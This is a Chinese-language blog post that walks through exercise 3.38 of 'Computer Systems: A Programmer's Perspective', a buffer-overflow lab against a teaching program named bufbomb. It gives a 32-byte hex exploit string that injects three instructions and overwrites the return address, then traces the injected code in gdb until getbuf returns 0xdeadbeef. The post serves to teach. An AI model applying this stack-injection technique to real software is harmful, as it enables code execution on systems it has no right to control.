本博客(http://blog.csdn.net/livelylittlefish)贴出作者(三二一@小鱼)相关研究、学习内容所做的笔记,欢迎广大朋友指正!
《深入理解计算机系统》3.38题解——缓冲区溢出攻击实例(续2)
1. 问题描述
见http://blog.csdn.net/livelylittlefish/archive/2009/12/27/5087640.aspx
2. 目标分析与题解
见http://blog.csdn.net/livelylittlefish/archive/2009/12/27/5087676.aspx
3. 验证
3.1 验证输入的数据存放在buf开始的内存单元中
要验证我们的结论,可以再次调试代码。但要在getxs的汇编代码内部结尾处设置断点。我们先看看getxs即将退出的汇编代码。
00401050 <_getxs>:
401050: 55 push %ebp
401051: 89 e5 mov %esp,%ebp
401053: 83 ec 18 sub $0x18,%esp
401056: c7 45 f8 01 00 00 00 movl $0x1,0xfffffff8(%ebp)
40105d: c7 45 f4 00 00 00 00 movl $0x0,0xfffffff4(%ebp)
...
401119: 8b 45 f0 mov 0xfffffff0(%ebp),%eax
40111c: c6 00 00 movb $0x0,(%eax)
40111f: 8d 45 f0 lea 0xfffffff0(%ebp),%eax
401122: ff 00 incl (%eax)
401124: 8b 45 08 mov 0x8(%ebp),%eax
401127: c9 leave
401128: c3 ret
在0x401128处设置断点并重新运行程序,输入我们确定的数据。
b8 ef be ad de 68 58 11 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 bf 22 00 80 bf 22 00
查看寄存器和buf=0x22bf80处的值,可以看出我们输入的数据已经保存在buf=0x22bf80开始的32个字节的内存单元中。
(gdb) b *0x401128
Breakpoint 1 at 0x401128
(gdb) r
Starting program: /cygdrive/e/study/programming/linux/2009-12-18testBufBomb/bufbomb.exe
Type Hex string:b8 ef be ad de 68 58 11 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 bf 22 00 80 bf 22 00
Breakpoint 1, 0x00401128 in getxs ()
(gdb) info registers
eax 0x22bf80 2277248
ecx 0x8885 34949
edx 0x0 0
ebx 0x0 0
esp 0x22bf6c 0x22bf6c
ebp 0x22bf98 0x22bf98
esi 0x611021a0 1628447136
edi 0x4014d0 4199632
eip 0x401128 0x401128
eflags 0x202 514
cs 0x1b 27
ss 0x23 35
ds 0x23 35
es 0x23 35
fs 0x3b 59
gs 0x0 0
(gdb) x/16w 0x22bf60
0x22bf60: 0x00000001 0x0000000a 0x0022bf98 0x0040113a
0x22bf70: 0x0022bf80 0x004014d0 0x0022bf98 0x610f0668
0x22bf80: 0xadbeefb8 0x115868de 0x00c30040 0x00000000
0x22bf90: 0x00000000 0x00000000 0x0022bfb8 0x0022bf80
以上加下划线并粗体显示的部分即为我们输入的数据。
也可以使用如下命令验证存放于buf=0x22bf80处的数据。
(gdb) p /x *0x22bf80@8
$1 = {0xadbeefb8, 0x115868de, 0xc30040, 0x0, 0x0, 0x0, 0x22bfb8, 0x22bf80}
(gdb) p /a *0x22bf80@8
$2 = {0xadbeefb8, 0x115868de, 0xc30040, 0x0, 0x0, 0x0, 0x22bfb8, 0x22bf80}
p /x *addr@len: 表示显示地址为addr开始的len个十六进制(x)的数据。
因leave(为返回准备栈)相当于以下两个操作,故此时%esp=0x22bf6c,%ebp=0x22bf98,而getxs函数的栈帧已经被销毁。
mov %ebp,%esp ;set stack pointer to the beginning of frame
pop %ebp ; restore saved %ebp and set stack ptr to the end of caller's frame
从buf起始地址0x22bf80开始,以单字节显示32个字节的值,可以更清晰地看出,这些值就是我们输入的数据。其中,%ebp'存放在0x22bf98单元,buf=0x22bf80存放在0x22bf9c单元,与上面的栈帧图也一致。
(gdb) x/32b 0x22bf80
0x22bf80: 0xb8 0xef 0xbe 0xad 0xde 0x68 0x58 0x11
0x22bf88: 0x40 0x00 0xc3 0x00 0x00 0x00 0x00 0x00
0x22bf90: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x22bf98: 0xb8 0xbf 0x22 0x00 0x80 0xbf 0x22 0x00
另外,使用如下命令,也可以验证我们的输入的数据的确是我们要执行的机器码。
(gdb) x/3i 0x22bf80
0x22bf80: mov $0xdeadbeef,%eax
0x22bf85: push $0x401158
0x22bf8a: ret
x /ni addr:查看addr开始的n条指令。
x是examine,表示查看内存,n表示个数,i表示以指令格式显示。
3.2 验证程序正确返回
3.2.1 程序即将要执行的代码
我们先看看即将要执行的代码,如下。程序即将要从getxs函数中返回到0x004011da处继续执行。
00401129 <_getbuf>:
401129: 55 push %ebp
40112a: 89 e5 mov %esp,%ebp
40112c: 83 ec 28 sub $0x28,%esp
40112f: 8d 45 e8 lea 0xffffffe8(%ebp),%eax
401132: 89 04 24 mov %eax,(%esp)
401135: e8 16 ff ff ff call 401050 <_getxs>
40113a: b8 01 00 00 00 mov $0x1,%eax
40113f: c9 leave
401140: c3 ret
00401141 <_test>:
401141: 55 push %ebp
401142: 89 e5 mov %esp,%ebp
401144: 83 ec 18 sub $0x18,%esp
401147: c7 04 24 00 20 40 00 movl $0x402000,(%esp)
40114e: e8 3d 01 00 00 call 401290 <_printf>
401153: e8 d1 ff ff ff call 401129 <_getbuf>
401158: 89 45 fc mov %eax,0xfffffffc(%ebp)
40115b: 8b 45 fc mov 0xfffffffc(%ebp),%eax
40115e: 89 44 24 04 mov %eax,0x4(%esp)
401162: c7 04 24 11 20 40 00 movl $0x402011,(%esp)
401169: e8 22 01 00 00 call 401290 <_printf>
40116e: c9 leave
40116f: c3 ret
3.2.2 stepi继续执行0x401128处的代码
接着继续stepi执行0x401128处的ret指令,并一直stepi知道从getbuf函数中返回,执行过程如下。
(gdb) stepi
0x0040113a in getbuf ()
(gdb) info registers
eax 0x22bf80 2277248
ecx 0x8885 34949
edx 0x0 0
ebx 0x0 0
esp 0x22bf70 0x22bf70
ebp 0x22bf98 0x22bf98
esi 0x611021a0 1628447136
edi 0x4014d0 4199632
eip 0x40113a 0x40113a
eflags 0x202 514
cs 0x1b 27
ss 0x23 35
ds 0x23 35
es 0x23 35
fs 0x3b 59
gs 0x0 0
(gdb) x/16w 0x22bf60
0x22bf60: 0x00000001 0x0000000a 0x0022bf98 0x0040113a
0x22bf70: 0x0022bf80 0x004014d0 0x0022bf98 0x610f0668
0x22bf80: 0xadbeefb8 0x115868de 0x00c30040 0x00000000
0x22bf90: 0x00000000 0x00000000 0x0022bfb8 0x0022bf80
(gdb) stepi
0x0040113f in getbuf ()
(gdb) info registers
eax 0x1 1
ecx 0x8885 34949
edx 0x0 0
ebx 0x0 0
esp 0x22bf70 0x22bf70
ebp 0x22bf98 0x22bf98
esi 0x611021a0 1628447136
edi 0x4014d0 4199632
eip 0x40113f 0x40113f
eflags 0x202 514
cs 0x1b 27
ss 0x23 35
ds 0x23 35
es 0x23 35
fs 0x3b 59
gs 0x0 0
(gdb) x/16w 0x22bf60
0x22bf60: 0x00000001 0x0000000a 0x0022bf98 0x0040113a
0x22bf70: 0x0022bf80 0x004014d0 0x0022bf98 0x610f0668
0x22bf80: 0xadbeefb8 0x115868de 0x00c30040 0x00000000
0x22bf90: 0x00000000 0x00000000 0x0022bfb8 0x0022bf80
(gdb) info registers esp
esp 0x22bf70 0x22bf70
(gdb) stepi
0x00401140 in getbuf ()
(gdb) info registers
eax 0x1 1
ecx 0x8885 34949
edx 0x0 0
ebx 0x0 0
esp 0x22bf9c 0x22bf9c
ebp 0x22bfb8 0x22bfb8
esi 0x611021a0 1628447136
edi 0x4014d0 4199632
eip 0x401140 0x401140
eflags 0x202 514
cs 0x1b 27
ss 0x23 35
ds 0x23 35
es 0x23 35
fs 0x3b 59
gs 0x0 0
(gdb) x/16w 0x22bf60
0x22bf60: 0x00000001 0x0000000a 0x0022bf98 0x0040113a
0x22bf70: 0x0022bf80 0x004014d0 0x0022bf98 0x610f0668
0x22bf80: 0xadbeefb8 0x115868de 0x00c30040 0x00000000
0x22bf90: 0x00000000 0x00000000 0x0022bfb8 0x0022bf80
从中我们发现,程序一直很正常地执行,0x22bf9c单元的值一直是我们输入的0x0022bf80,即buf缓冲区的起始地址;%
ebp也没有变化,其值一直都是gutbuf栈帧的基地址,只是%esp在变化,指示下一条要执行的指令的地址。此时,%esp指示0x22bf9c单元,%eip指向0x401140处的返回指令。
3.2.3 程序跳转到buf处开始执行我们输入的机器码(指令)
接下来,我们再继续stepi执行程序,因ret指令的任务是弹出返回地址并跳转到该地址继续执行。因此,从以下执行过程我们可以看出,执行0x401140处的ret指令后,%eip指向0x22bf80,开始执行我们输入的3条指令。
(gdb) stepi
0x0022bf80 in ?? ()
(gdb) info registers
eax 0x1 1
ecx 0x8885 34949
edx 0x0 0
ebx 0x0 0
esp 0x22bfa0 0x22bfa0
ebp 0x22bfb8 0x22bfb8
esi 0x611021a0 1628447136
edi 0x4014d0 4199632
eip 0x22bf80 0x22bf80
eflags 0x202 514
cs 0x1b 27
ss 0x23 35
ds 0x23 35
es 0x23 35
fs 0x3b 59
gs 0x0 0
(gdb) x/16w 0x22bf70
0x22bf70: 0x0022bf80 0x004014d0 0x0022bf98 0x610f0668
0x22bf80: 0xadbeefb8 0x115868de 0x00c30040 0x00000000
0x22bf90: 0x00000000 0x00000000 0x0022bfb8 0x0022bf80
0x22bfa0: 0x00402000 0x0022c388 0x0022c35c 0x00000026
接下来执行0x22bf80处的指令,可以看到%eax的变化。
(gdb) x/1i 0x22bf80
0x22bf80: mov $0xdeadbeef,%eax
(gdb) stepi
0x0022bf85 in ?? ()
(gdb) info registers
eax 0xdeadbeef -559038737
ecx 0x8885 34949
edx 0x0 0
ebx 0x0 0
esp 0x22bfa0 0x22bfa0
ebp 0x22bfb8 0x22bfb8
esi 0x611021a0 1628447136
edi 0x4014d0 4199632
eip 0x22bf85 0x22bf85
eflags 0x202 514
cs 0x1b 27
ss 0x23 35
ds 0x23 35
es 0x23 35
fs 0x3b 59
gs 0x0 0
(gdb) x/16w 0x22bf70
0x22bf70: 0x0022bf80 0x004014d0 0x0022bf98 0x610f0668
0x22bf80: 0xadbeefb8 0x115868de 0x00c30040 0x00000000
0x22bf90: 0x00000000 0x00000000 0x0022bfb8 0x0022bf80
0x22bfa0: 0x00402000 0x0022c388 0x0022c35c 0x00000026
接下来执行0x22bf85处的指令,可以看到%esp由0x22bfa0变为0x22bf9c,且tes调用getbuf的返回地址0x00401158被压入栈的0x22bf9c单元中。
(gdb) x/1i 0x22bf85
0x22bf85: push $0x401158
(gdb) stepi
0x0022bf8a in ?? ()
(gdb) info registers
eax 0xdeadbeef -559038737
ecx 0x8885 34949
edx 0x0 0
ebx 0x0 0
esp 0x22bf9c 0x22bf9c
ebp 0x22bfb8 0x22bfb8
esi 0x611021a0 1628447136
edi 0x4014d0 4199632
eip 0x22bf8a 0x22bf8a
eflags 0x202 514
cs 0x1b 27
ss 0x23 35
ds 0x23 35
es 0x23 35
fs 0x3b 59
gs 0x0 0
(gdb) x/16w 0x22bf70
0x22bf70: 0x0022bf80 0x004014d0 0x0022bf98 0x610f0668
0x22bf80: 0xadbeefb8 0x115868de 0x00c30040 0x00000000
0x22bf90: 0x00000000 0x00000000 0x0022bfb8 0x00401158
0x22bfa0: 0x00402000 0x0022c388 0x0022c35c 0x00000026
接下来执行0x22bf8a处的ret指令,此时%esp=0x22bf9c,将弹出0x22bf9c处的0x00401158并跳转到该处继续执行。
(gdb) x/1i 0x22bf8a
0x22bf8a: ret
(gdb) stepi
0x00401158 in test ()
(gdb) info registers
eax 0xdeadbeef -559038737
ecx 0x8885 34949
edx 0x0 0
ebx 0x0 0
esp 0x22bfa0 0x22bfa0
ebp 0x22bfb8 0x22bfb8
esi 0x611021a0 1628447136
edi 0x4014d0 4199632
eip 0x401158 0x401158
eflags 0x202 514
cs 0x1b 27
ss 0x23 35
ds 0x23 35
es 0x23 35
fs 0x3b 59
gs 0x0 0
(gdb) x/16w 0x22bf70
0x22bf70: 0x0022bf80 0x004014d0 0x0022bf98 0x610f0668
0x22bf80: 0xadbeefb8 0x115868de 0x00c30040 0x00000000
0x22bf90: 0x00000000 0x00000000 0x0022bfb8 0x00401158
0x22bfa0: 0x00402000 0x0022c388 0x0022c35c 0x00000026
至此,我们可以看到程序已经从我们输入的指令中正确地返回到test函数中。该项验证完毕。
3.3 验证执行结果
接下来我们用continue命令执行程序,如下,看到程序正确地返回0xdeadbeef。
(gdb) c
Continuing.
getbuf returned 0xdeadbeef
Program exited normally.
(gdb)
至此,我们所有的验证均已完成,再一次确认我们当初的分析。